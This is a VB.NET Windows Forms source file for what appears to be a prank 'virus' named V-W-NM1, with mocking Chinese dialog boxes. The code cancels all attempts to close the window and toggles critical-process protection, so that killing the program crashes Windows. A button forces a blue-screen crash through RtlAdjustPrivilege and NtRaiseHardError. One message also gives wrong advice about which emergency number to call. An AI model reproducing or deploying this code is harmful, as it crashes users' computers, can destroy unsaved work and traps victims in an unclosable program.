﻿Imports System.Drawing
Imports System.Threading
Imports System.Windows.Forms

Public Class Form1
    Private Sub PictureBox2_Invalidated(sender As Object, e As EventArgs) Handles PictureBox2.SizeChanged
        PictureBox2.Image = New Bitmap(My.Resources.批注_2019_06_26_230811, PictureBox2.Size)
    End Sub

    Private Sub PictureBox1_Invalidated(sender As Object, e As EventArgs) Handles PictureBox1.SizeChanged
        PictureBox1.Image = New Bitmap(My.Resources.批注_2019_06_26_230859, PictureBox1.Size)
    End Sub

    Private Sub Button1_Click(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing, Button1.Click
        MsgBox("你是的哇哦i润滑部位你iu啊华人尾部i要不i啊文本内容有aeuiwy不！剧本不时遮阳的？？？！？",, "这做的の台湾")
        e.Cancel = True
    End Sub

    Private Sub Label6_Click(sender As Object, e As EventArgs) Handles Label6.Click
        Threading.ThreadPool.QueueUserWorkItem(AddressOf MsgBox, "您好，中国的报警电话不是911而是110，请拨打110报警。")
        Label7.Visible = True
        Label6.Visible = False
    End Sub

    Private Sub Label7_Click(sender As Object, e As EventArgs) Handles Label7.Click
        Threading.ThreadPool.QueueUserWorkItem(AddressOf MsgBox, "您好，对于这种情况，你应该拨打911而不是110.")
        Label7.Visible = False
        Label8.Visible = True
    End Sub

    Private Sub Label8_Click(sender As Object, e As EventArgs) Handles Label8.Click
        Label8.Visible = False
        If mydom.Next(0, 20) = 0 Then
            Label5.Visible = False
            Label4.Visible = False
            Threading.ThreadPool.QueueUserWorkItem(Sub()
                                                       MsgBox("这个是假的YO~", MsgBoxStyle.MsgBoxRight, "你被耍了。")
                                                   End Sub)
            For i = 0 To 2500
                Threading.Thread.Sleep(1)
                Application.DoEvents()
            Next
            Threading.ThreadPool.QueueUserWorkItem(Sub()
                                                       MsgBox("这里是V-W-NM1的作者，请问有哈子食？")
                                                       MsgBox("哈？想解除病毒？？？")
                                                       MsgBox("这个有点难。")
                                                       MsgBox（“我真的很想帮你但是千花保护协会查水表来了。”）
                                                       MsgBox（“你去会一会吧。”）
                                                       Threading.Thread.Sleep(2500)
                                                       MsgBox（“好滴，这就告诉你方法。”）
                                                       Threading.Thread.Sleep(2500)
                                                       MsgBox（“
taskkill /f /im V-W-NM1.exe没用的。（会蓝瓶钙(win10)/系统会废了(win7)）
正确方法是使用资源监视器挂起每一个V-W-NM1.exe，然后在运行taskkill /f /im V-W-NM1.exe
hao2xiang4xian==1zai1shi2shezhi1wei1baohu1jinchengle45
不对！！！你要用杀毒软件来结束V-W-NM1.exe（看你的杀毒软件有多沙）。
也不对！！！我想不起来了！！！！！？？？？

算了，先去洗个澡。
”）
                                                       MsgBox("Thx for you.")
                                                   End Sub)
        Else
            If mydom.Next(19, 21) = 20 Then
                MsgBox("翻译器：你拨打的用户正忙，请稍后再拨。（阴雨）（滴~~~~~~~~~~~~~~~）")
                Label6.Visible = True
                Exit Sub
            End If
            Label6.Visible = True
            MsgBox("翻译器：摩西摩西，这里是藤原千花，请问你是谁？", MsgBoxStyle.Information, "翻译器")
            MsgBox（"翻译器：你倒是说啊？？？", MsgBoxStyle.Information, "翻一器"）
            MsgBox("翻译器：earaheiteiswajiejins（声音：滴~~~~~~~~~~~~~~~~~~~~~~）"， MsgBoxStyle.Information， “翻译器”)
        End If

    End Sub

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        MsgBox("你484沙？我怎么可能让你走呢？？？")
    End Sub

    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
        ThreadPool.QueueUserWorkItem(Sub()
                                         MsgBox("大家吼！我是抽奖机（还是越抽概率越高的！！！）
一等奖：终止进程保护 概率0.01％
二等奖：编不下去了。。。
红红火火恍恍惚惚红红火火恍恍惚惚红红火火
让我笑一下。
点击确定抽奖")
                                         Dim NowCount As Long = 10000
wdcommand:
                                         If mydom.Next(0, NowCount) = 0 Then
                                             RtlSetProcessIsCritical(False, False, False)
                                             MsgBox("恭喜！成功停止了进程保护！但是WatchDog你该怎么办？？？？？" & "还有你好菜，抽了" & 10000 - NowCount & "次")
                                         ElseIf mydom.NextDouble() = 0 Then
                                             MsgBox("你抽到了五等奖！退出抽奖")
                                             Exit Sub

                                         Else
                                             NowCount -= 1
                                             MsgBox("好像没有中奖，按确定继续抽奖")
                                             GoTo wdcommand
                                         End If
                                     End Sub)
        Button2.Enabled = False
    End Sub

    Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
        RtlAdjustPrivilege(19, True, 0, 0)
        NtRaiseHardError(&H23333333, 0, 0, 0, 6, 0)
    End Sub
End Class